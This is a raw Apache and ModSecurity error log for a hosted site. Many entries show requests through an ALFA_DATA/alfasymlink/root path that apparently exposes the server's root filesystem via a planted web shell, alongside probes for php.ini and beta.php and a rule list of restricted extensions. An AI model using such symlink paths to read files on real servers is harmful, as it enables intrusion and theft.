[Mon Oct 26 04:21:26.151325 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.45.92.83:44717] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:21:30.355370 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 52.54.15.103:44518] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:21:33.204181 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 16.216.88.190:28672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/initramfs-0-rescue-17a13bf0fcf4494eab2938cc20968237.img
[Mon Oct 26 04:21:34.154921 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 50.17.193.48:49690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:21:38.424284 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 52.207.47.227:16031] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:21:46.231681 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 3.212.219.113:51966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:21:58.202051 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 18.208.11.93:25888] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:02.178941 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 44.205.192.249:20004] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:06.173974 2026] [ssl:error] [pid 2994318:tid 2994318] (70014)End of file found: [client 23.21.228.180:19533] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:06.174185 2026] [security2:error] [pid 2994318:tid 2994318] [client 23.21.228.180:19533] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/input3/subsystem/event1/power/runtime_suspended_time"] [unique_id "at8NrrfDUWp_vwDVlEAXewAAAAs"]
[Mon Oct 26 04:22:06.174213 2026] [security2:error] [pid 2994318:tid 2994318] [client 23.21.228.180:19533] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/input3/subsystem/event1/power/runtime_suspended_time"] [unique_id "at8NrrfDUWp_vwDVlEAXewAAAAs"]
[Mon Oct 26 04:22:10.367074 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 98.84.131.195:64438] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:12.320677 2026] [security2:error] [pid 2995190:tid 2995190] [client 107.172.76.131:52337] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8Npx_ViEB4VmIsS1QVnwAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 04:22:12.320735 2026] [security2:error] [pid 2995190:tid 2995190] [client 107.172.76.131:52337] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8Npx_ViEB4VmIsS1QVnwAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 04:22:14.268865 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 18.215.77.19:11505] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:18.726639 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 185.191.171.2:17278] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:26.166125 2026] [ssl:error] [pid 2994318:tid 2994318] (70014)End of file found: [client 50.19.79.213:3909] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:30.168773 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 23.23.212.212:10893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:34.147235 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 52.54.95.127:4757] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:36.031118 2026] [core:error] [pid 2984441:tid 2984441] (13)Permission denied: [client 185.191.171.7:45458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/align
[Mon Oct 26 04:22:38.134879 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 52.3.102.51:53348] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:42.163998 2026] [ssl:error] [pid 2992768:tid 2992768] (5)Input/output error: [client 34.236.185.101:56077] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:46.246480 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 184.73.239.35:39569] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:22:50.198681 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 18.232.11.247:46274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:23:02.154208 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 3.226.106.93:64018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:23:17.112676 2026] [core:error] [pid 2998016:tid 2998016] (13)Permission denied: [client 185.191.171.19:14812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm/sections/__ksymtab_gpl
[Mon Oct 26 04:23:26.240597 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 52.3.155.146:53806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:23:30.164746 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 98.83.8.142:24104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:23:34.141616 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 3.90.73.206:24583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:23:34.141787 2026] [security2:error] [pid 2992768:tid 2992768] [client 3.90.73.206:24583] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/event0/subsystem/event0/device/subsystem/input1/input1::scrolllock/trigger"] [unique_id "at8OBhF774Wp7BGGZJkjWQAAAAU"]
[Mon Oct 26 04:23:34.141808 2026] [security2:error] [pid 2992768:tid 2992768] [client 3.90.73.206:24583] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/event0/subsystem/event0/device/subsystem/input1/input1::scrolllock/trigger"] [unique_id "at8OBhF774Wp7BGGZJkjWQAAAAU"]
[Mon Oct 26 04:23:35.817775 2026] [core:error] [pid 2998016:tid 2998016] (13)Permission denied: [client 185.191.171.19:36556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/objects
[Mon Oct 26 04:23:41.681608 2026] [core:error] [pid 2992768:tid 2992768] (13)Permission denied: [client 185.191.171.1:15360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/cache_dma
[Mon Oct 26 04:23:42.324974 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 34.238.45.183:63188] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:23:43.085907 2026] [core:error] [pid 2998868:tid 2998868] (13)Permission denied: [client 85.208.96.198:56898] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/cpu_slabs
[Mon Oct 26 04:23:54.158013 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 100.25.120.246:39449] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:23:58.145721 2026] [ssl:error] [pid 2998868:tid 2998868] (70014)End of file found: [client 54.162.69.192:58674] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:24:02.276798 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.227.156.153:54040] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:24:10.166983 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 100.28.44.58:65300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:24:12.196339 2026] [ssl:error] [pid 2994318:tid 2994318] (70014)End of file found: [client 185.191.171.13:33478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:24:13.611553 2026] [security2:error] [pid 2995190:tid 2995190] [client 107.172.76.131:52337] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8OIB_ViEB4VmIsS1QVpwAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 04:24:13.611598 2026] [security2:error] [pid 2995190:tid 2995190] [client 107.172.76.131:52337] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8OIB_ViEB4VmIsS1QVpwAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 04:24:14.272273 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 54.157.84.74:58550] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:24:18.264345 2026] [ssl:error] [pid 2998868:tid 2998868] (70014)End of file found: [client 3.213.46.222:15953] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:24:34.224980 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 50.19.79.213:27614] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:24:36.555641 2026] [core:error] [pid 2984441:tid 2984441] (13)Permission denied: [client 16.216.88.127:57344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named.conf.cache
[Mon Oct 26 04:24:42.139440 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 52.2.58.41:51846] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:24:56.400181 2026] [security2:error] [pid 2992769:tid 2992769] [client 43.153.123.4:58814] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/Alfredo"] [unique_id "at8OWB5KE-XDnbMv2942LgAAAAY"]
[Mon Oct 26 04:25:18.173387 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 52.44.229.124:31141] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:25:30.162398 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 34.233.219.155:32813] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:25:34.266399 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 23.21.119.232:34229] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/ac/unbind
[Mon Oct 26 04:25:38.154831 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 3.220.148.166:7356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:25:43.526756 2026] [security2:error] [pid 2990575:tid 2990575] [client 185.191.171.16:17372] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/romanian/errmsg.sys"] [unique_id "at8Ohznj8sJWmxnIswzOVwAAAAQ"]
[Mon Oct 26 04:25:43.527143 2026] [security2:error] [pid 2990575:tid 2990575] [client 185.191.171.16:17372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/romanian/errmsg.sys"] [unique_id "at8Ohznj8sJWmxnIswzOVwAAAAQ"]
[Mon Oct 26 04:25:43.527499 2026] [security2:error] [pid 2990575:tid 2990575] [client 185.191.171.16:17372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/romanian/errmsg.sys"] [unique_id "at8Ohznj8sJWmxnIswzOVwAAAAQ"]
[Mon Oct 26 04:25:46.155890 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 44.193.115.232:19319] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:26:06.156433 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 54.210.155.69:59762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:26:10.148697 2026] [core:error] [pid 2992769:tid 2992769] (13)Permission denied: [client 54.83.56.1:24593] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/pci-stub/bind
[Mon Oct 26 04:26:26.143424 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 18.208.11.93:21140] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:26:30.234914 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 52.204.81.148:24905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:26:34.261681 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 52.205.222.214:7543] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:26:38.145468 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 52.21.62.139:61194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rescan
[Mon Oct 26 04:26:38.145900 2026] [security2:error] [pid 2990575:tid 2990575] [client 52.21.62.139:61194] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rescan"] [unique_id "at8Ovjnj8sJWmxnIswzOWgAAAAQ"]
[Mon Oct 26 04:26:38.145926 2026] [security2:error] [pid 2990575:tid 2990575] [client 52.21.62.139:61194] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rescan"] [unique_id "at8Ovjnj8sJWmxnIswzOWgAAAAQ"]
[Mon Oct 26 04:26:40.093641 2026] [core:error] [pid 2998868:tid 2998868] (13)Permission denied: [client 185.191.171.16:64670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/sanity_checks
[Mon Oct 26 04:26:42.415613 2026] [core:error] [pid 2984441:tid 2984441] (13)Permission denied: [client 85.208.96.209:15936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/min_partial
[Mon Oct 26 04:27:02.177810 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 3.222.85.38:7135] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:27:05.354853 2026] [proxy_fcgi:error] [pid 2998016:tid 2998016] [client 128.90.128.8:48764] AH01071: Got error 'Primary script unknown', referer: http://beta.sherwinpinturas.com/wp-login.php
[Mon Oct 26 04:27:06.128420 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 50.17.193.48:3928] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:27:09.794248 2026] [security2:error] [pid 2993961:tid 2993961] [client 43.131.243.61:53996] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at8O3RJqpTbSe9f2_suBEwAAAAc"]
[Mon Oct 26 04:27:10.267660 2026] [ssl:error] [pid 2998868:tid 2998868] (70014)End of file found: [client 18.235.158.19:31333] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:27:22.125674 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 34.195.248.30:17107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:27:34.122989 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 54.157.99.244:61025] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:27:40.388280 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 185.191.171.7:16718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/slabs_cpu_partial
[Mon Oct 26 04:27:42.146189 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 54.86.59.155:22127] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:27:46.120652 2026] [ssl:error] [pid 2993961:tid 2993961] (5)Input/output error: [client 23.21.148.226:51167] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:27:50.137221 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 34.203.111.15:35189] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:27:58.153464 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 34.205.170.13:37090] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:28:02.154607 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 44.221.180.179:19572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:28:10.205177 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 85.208.96.211:58896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-4k/align
[Mon Oct 26 04:28:10.306973 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 23.20.178.124:56982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:28:14.130979 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 3.215.221.125:43737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:28:22.314612 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 100.29.155.89:25687] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/driver/cpu1/crash_notes_size
[Mon Oct 26 04:28:26.136187 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 100.29.128.75:25237] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/bind
[Mon Oct 26 04:28:30.122277 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 52.0.41.164:7739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:28:42.154885 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 3.209.174.110:35482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:28:50.127224 2026] [ssl:error] [pid 2998868:tid 2998868] (70014)End of file found: [client 52.2.4.213:21395] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:28:52.913213 2026] [authz_core:error] [pid 2984441:tid 2984441] [client 47.79.206.181:12768] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://www.google.com/
[Mon Oct 26 04:28:54.149814 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 34.205.170.13:23387] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:28:58.121442 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 18.205.91.101:8120] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:06.131628 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 98.84.200.43:9327] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:08.954937 2026] [core:error] [pid 2998868:tid 2998868] (13)Permission denied: [client 85.208.96.210:29350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/reclaim_account
[Mon Oct 26 04:29:10.222260 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 44.213.202.136:48317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:18.138022 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 3.229.164.203:20346] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:22.134389 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 100.29.34.97:23508] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:26.118243 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 3.218.35.239:21034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:30.236521 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 34.235.239.240:46228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:34.241420 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 185.191.171.1:42788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:34.250990 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 52.200.93.170:37509] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:46.271005 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 54.225.98.148:59342] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:50.138232 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 100.28.204.82:34470] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:29:54.116842 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 3.212.86.97:16508] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:30:02.120287 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 18.215.77.19:6794] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:30:08.060432 2026] [authz_core:error] [pid 2984450:tid 2984450] [client 87.106.67.241:40776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 04:30:26.140881 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 184.73.195.18:42681] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:05/physical_node/remove
[Mon Oct 26 04:30:30.124570 2026] [core:error] [pid 2992769:tid 2992769] (13)Permission denied: [client 34.192.67.98:3130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/driver/cpu1/crash_notes_size
[Mon Oct 26 04:30:38.140565 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 54.225.199.17:18206] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:30:46.137184 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 98.84.200.43:44108] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:30:54.158551 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 35.168.238.50:25099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:31:02.198188 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 52.44.229.124:23470] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:31:02.559081 2026] [proxy_fcgi:error] [pid 2992282:tid 2992282] [client 146.70.194.222:57904] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 04:31:14.131684 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 3.229.164.203:38873] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/remove_id
[Mon Oct 26 04:31:18.226286 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 52.202.233.37:18654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:31:22.141781 2026] [ssl:error] [pid 3000052:tid 3000052] (70014)End of file found: [client 54.159.98.248:30409] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:31:34.124353 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 18.215.77.19:46146] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:31:54.129205 2026] [core:error] [pid 3000052:tid 3000052] (13)Permission denied: [client 34.195.248.30:23477] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/dw_dmac_pci/remove_id
[Mon Oct 26 04:31:58.162890 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 50.16.72.185:58899] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:32:05.119431 2026] [authz_core:error] [pid 2984261:tid 2984261] [client 85.217.140.15:47224] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
